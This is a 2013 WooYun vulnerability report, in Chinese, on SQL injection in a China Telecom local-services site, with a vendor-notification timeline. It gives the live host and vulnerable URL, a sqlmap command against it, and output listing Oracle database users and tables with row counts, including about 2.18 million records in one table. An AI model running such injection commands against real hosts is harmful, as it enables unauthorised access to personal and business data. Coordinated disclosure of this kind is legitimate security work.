当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-034042

漏洞标题：中国电信某信息服务系统SQL注入（大量数据泄露）

相关厂商：中国电信

漏洞作者： zzR

提交时间：2013-08-12 13:57

修复时间：2013-09-26 13:57

公开时间：2013-09-26 13:57

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-12： 细节已通知厂商并且等待厂商处理中
2013-08-16： 厂商已经确认，细节仅向厂商公开
2013-08-26： 细节向核心白帽子及相关领域专家公开
2013-09-05： 细节向普通白帽子公开
2013-09-15： 细节向实习白帽子公开
2013-09-26： 细节向公众公开

简要描述：

中国电信某信息服务系统SQL注入二百多万数据泄露

详细说明：

站点

http://116.228.55.5/114Ad/introduce.aspx

是一个生活服务类网站！用户数据，商家数据比较多。
注入点

sqlmap.py -u "http://116.228.55.5/114Ad/articledetail.aspx?id=315" --current-db --current-user


1.png


是oracle数据库

漏洞证明：

system users

database management system users [24]:
[*] ANONYMOUS
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] DMSYS
[*] EXFSYS
[*] HAOBAIAD
[*] HAOBAIDB
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OLAPSYS
[*] ORACLE_OCM
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB


45个表

Database: HAOBAIAD
+-------------------------+---------+
| Table                   | Entries |
+-------------------------+---------+
| CELLPHONESORT           | 2179456 |
| AD_ISUSERFIRSTVISIT     | 545611  |
| AD_ISUSERFIRSTVISIT_BAK | 477841  |
| ADMSENSE_REPORT         | 80182   |
| ADSESSIONLOG            | 67568   |
| AD_PROVINCE             | 47861   |
| ADINTERFACESTATE        | 26363   |
| ADMERCHANTS             | 8995    |
| ADMTOP_EXTEND           | 8377    |
| ADMTOP                  | 8376    |
| ADMRANK_REPORT          | 6893    |
| ADMANAGEOPERATELOG      | 3492    |
| GEOGRAPHY               | 2800    |
| ADMSENSEKEYWORD         | 1002    |
| ADMSENSEGROUP_EXTEND    | 813     |
| ADMANAGE                | 761     |
| ADMSENSEGROUP           | 711     |
| ADMANAGEBALANCELOG      | 576     |
| ADMANAGELOGINLOG        | 554     |
| ADLOG                   | 441     |
| ADARTICLE               | 321     |
| ADGROUPROLE             | 207     |
| ADMERCHANTS_WEBSITE     | 62      |
| ADPAGESYSTEM            | 43      |
| ADORDER                 | 37      |
| CC_AD_CATEGORY          | 17      |
| ADGROUP                 | 16      |
| ADGROUPPOWER            | 16      |
| ADMANAGEUSERS           | 15      |
| ADCHANNELINFO           | 10      |
| ADCHANNELINFO_EXTEND    | 8       |
| ADCHUSER                | 7       |
| ADMANAGEMERCHANTLOG     | 5       |
| ADCOMPANYINFO           | 4       |
| AD_RETENTIONKEYWORD     | 3       |
| ADCOMPANYUSER           | 3       |
| ADMRANK                 | 3       |
| ADEMAIL                 | 2       |
| ADMSENSE_CONFIG         | 2       |
+-------------------------+---------+


| CELLPHONESORT | 2179456 |！！！

3.png

修复方案：

未深入，截图证明而已！

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2013-08-16 23:22

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-08-12 22:07 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @疯狗 这个怎么野算小漏洞？有数据有图有危害